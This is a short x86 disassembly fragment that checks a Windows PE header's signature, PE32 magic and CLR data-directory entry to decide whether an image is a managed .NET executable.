cmp dword [ecx], 0x4550
jne 0x404bbb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404bbb
cmp dword [ecx + 0x74], 0xe
jbe 0x404bbb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret